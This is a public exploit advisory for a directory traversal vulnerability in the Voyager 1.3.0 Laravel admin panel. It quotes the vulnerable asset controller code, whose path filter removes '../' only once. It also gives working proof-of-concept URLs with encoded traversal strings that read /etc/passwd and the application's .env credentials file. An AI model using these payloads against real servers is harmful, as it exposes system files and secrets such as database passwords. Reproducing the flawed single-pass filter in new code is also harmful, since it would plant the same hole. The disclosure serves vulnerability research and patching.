Voyager 1.3.0 – Directory Traversal
# Exploit Title: Voyager 1.3.0 - Directory Traversal # Google Dork: N/A # Date: January 2020-01-06 # Exploit Author: NgoAnhDuc # Vendor Homepage: https://voyager.devdojo.com/ # Software Link:https://github.com/the-control-group/voyager/releases/tag/v1.3.0https://github.com/the-control-group/voyager/releases/tag/v1.2.7 # Version: 1.3.0 and bellow # Tested on: Ubuntu 18.04 # CVE : N/A Vulnerable code is in voyager/src/Http/Controllers/VoyagerController.php ======================================== public function assets(Request $request) { *$path = str_start(str_replace(['../', './'], '', urldecode($request->path)), '/');* * $path = base_path('vendor/tcg/voyager/publishable/assets'.$path);* if (File::exists($path)) { $mime = ''; if (ends_with($path, '.js')) { $mime = 'text/javascript'; } elseif (ends_with($path, '.css')) { $mime = 'text/css'; } else { $mime = File::mimeType($path); } $response = response(File::get($path), 200, ['Content-Type' => $mime]); $response->setSharedMaxAge(31536000); $response->setMaxAge(31536000); $response->setExpires(new \DateTime('+1 year')); return $response; } return response('', 404); } ======================================== PoC: passwd: http://localhost/admin/voyager-assets?path=.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2Fetc/passwd Laravel environment file:http://localhost/admin/voyager-assets?path=.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F<web root dir>/.env |